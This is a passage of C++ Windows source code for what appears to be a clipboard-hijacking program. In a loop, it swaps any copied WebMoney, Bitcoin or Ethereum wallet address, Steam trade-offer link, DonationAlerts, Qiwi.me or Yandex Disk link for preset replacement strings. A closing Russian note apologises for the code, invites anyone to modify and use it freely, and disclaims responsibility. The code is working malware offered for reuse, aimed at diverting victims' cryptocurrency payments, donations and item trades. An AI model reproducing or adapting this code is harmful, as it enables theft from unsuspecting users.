		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMZ, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("U") == 0 && data.length() == 13){
					const size_t len = strlen(WMU) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMU, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("X") == 0 && data.length() == 13){
					const size_t len = strlen(WMX) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMX, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.length() == 34){
					const size_t len = strlen(BTC) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), BTC, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("0x") == 0 && data.length() == 42){
					const size_t len = strlen(ETH) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), ETH, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://steamcommunity.com/tradeoffer/new/?partner=") == 0){
					const size_t len = strlen(STEAM) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), STEAM, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://www.donationalerts.com/r/") == 0){
					const size_t len = strlen(DonAlerts) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), DonAlerts, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://qiwi.me/") == 0){
					const size_t len = strlen(QiwiMe) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QiwiMe, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://yadi.sk/d/") == 0){
					const size_t len = strlen(YandexDisk) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), YandexDisk, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				}
		
		               
		            CloseClipboard();
		
		    }
			Sleep(500);
	}
	return 0;
}

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.